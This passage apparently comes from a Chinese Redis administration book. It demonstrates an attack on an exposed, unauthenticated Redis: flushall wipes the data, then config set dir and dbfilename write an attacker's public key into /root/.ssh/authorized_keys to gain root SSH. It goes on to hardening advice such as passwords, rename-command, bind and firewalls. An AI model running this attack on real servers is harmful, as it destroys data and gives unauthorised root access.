模拟攻击过程:
- 首先确认当前 (攻击前) 机器 A 不能通过 SSH 访问机器 B, 因为没有权限:
#ssh root@123.16.xx.182
root@123.16.xx.182's password:
- 由于机器 B 的外网对外开通了 Redis 的6379端口, 所以可以直接连接到 Redis 上执行 flushall 操作, 注意此时破坏性就已经很大了
#redis-cli -h 123.16.xx.182 -p 6379 ping
PONG
#redis-cli -h 123.16.xx.182 -p 6379 flushall
OK
- 在机器 A 生成公钥, 并将公钥保存到一个文件 my.pub 中
- 将键 crackit 的值设置为公钥
- 将 Redis 的 dir 设置为 /root/.ssh 目录, dbfilename 设置为 authorized_keys, 执行 save 命令生成 RDB 文件
123.16.xx.182:6379> config set dir /root/.ssh
OK
123.16.xx.182:6379> config set dbfilename authorized_keys
OK
123.16.xx.182:6379> save
OK
- 此时机器 A 再通过 SSH 协议访问机器 B, 发现可以顺利登录
[@zw_94_190 ~]# ssh root@123.16.xx.182
Last login: Mon Sep 19 08:42:55 2016 from 10.10.xx.192
登录后可以观察 /root/.ssh/authorized_keys, 可以发现它就是 RDB 文件:
Redis 的设计目标是一个在内网运行的轻量级高性能键值服务, 因为是在内网运行, 所以对于安全方面没有做太多的工作, Redis 只提供了简单的密码机制, 并且没有做用户权限的相关划分。
12.3.1 Redis 密码机制
1. 简单的密码机制
requirepass 配置
Redis 提供了两种方式访问配置了密码的 Redis:
- redis-cli -a
# redis-cli – h 127.0.0.1
127.0.0.1:6379> ping
PONG
- auth
# redis-cli
127.0.0.1:6379> auth hello_redis_devops
OK
127.0.0.1:6379> ping
PONG
2. 运维建议
- 密码要足够复杂 (64个字节以上), 因为 Redis 的性能很高, 如果密码比较简单, 完全是可以在一段时间内通过暴力破解来破译密码
- 如果是主从结构的 Redis, 不要忘记在从节点的配置中加入 masterauth (master 的密码) 配置, 否则会造成主从节点同步失效
- auth 是通过明文进行传输的, 所以也不是100%可靠, 如果被攻击者劫持也相当危险
12.3.2 伪装危险命令
1. 引入 rename-command
危险命令:
- keysl: 阻塞
- flushall/flushdb: 数据丢失
- save: 阻塞
- debug: debug reload 会重启 redis
- config: 应该给管理员使用
- shutdown: 停止 redis
设置 flushall:
rename-command flushall jlikfjalijl3i4jl3jql34j
127.0.0.1:6379> flushall
(error) ERR unknown command
‘ flushall ’
2. 没有免费的午餐
使用了 rename-command 时可能会带来如下麻烦:
- 管理员要对自己的客户端进行修改
- rename-command 配置不支持 config set
- 如果 AOF 和 RDB 文件包含了 rename-command 之前的命令, Redis 将无法启动
- Redis 源码中有一些命令是写死的, rename-command 可能造成 Redis 无法正常工作
3. 最佳实践
- 对于一些危险的命令 (例如 flushall), 不管是内网还是外网, 一律使用 rename-command 配置
- 建议第一次配置 Redis 时, 就应该配置 rename-command, 因为 rename-command 不支持 config set
- 如果涉及主从关系, 一定要保持主从节点配置的一致性, 否则存在主从数据不一致的可能性
12.3.3 防火墙
可以使用防火墙限制输入和输出的 IP 或者 IP 范围、端口或者端口范围.
12.3.4 bind
1. 对于 bind 的错误认识
很多开发者在一开始看到 bind 的这个配置时都是这么认为的: 指定 Redis 只接收来自于某个网段 IP 的客户端请求。但事实上 bind 指定的是 Redis 和哪个网卡进行绑定, 和客户端是什么网段没有关系.
查看网卡信息:
- ifconfig 命令
如果当前 Redis 配置了 bind 10.10.xx.192, 那么 Redis 访问只能通过 10.10.xx.192 这块网卡进入, 通过 redis-cli –h 220.181.xx.123 –p 6379 和本机 redis-cli –h 127.0.0.1 –p 6379 都无法连接到 Redis。会收到如下操作提示:
# redis-cli – h 220.181.xx.123 – p 6379
Could not connect to Redis at 220.181.xx.123:6379: Connection refused
Redis3.0 中 bind 默认值为””, 也就是不限制网卡的访问, 但是在 Redis3.2 中必须显示的配置 bind 0.0.0.0 才可以达到这种效果.
2. 建议
- 如果机器有外网 IP, 但部署的 Redis 是给内部使用的, 建议去掉外网网卡或者使用 bind 配置限制流量从外网进入
- 如果客户端和 Redis 部署在一台服务器上, 可以使用回环地址
- bind 配置不支持 config set, 所以尽可能在第一次启动前配置好
12.3.5 定期备份数据
定期备份持久化数据是一个比较好的习惯。
12.3.6 不使用默认端口
能够在一定程度上降低被攻击的概率。
12.3.7 使用非 root 用户启动
root 用户作为管理员, 权限非常大。如果被入侵者获取 root 权限后, 就可以在这台机器以及相关机器上“为所欲为”了。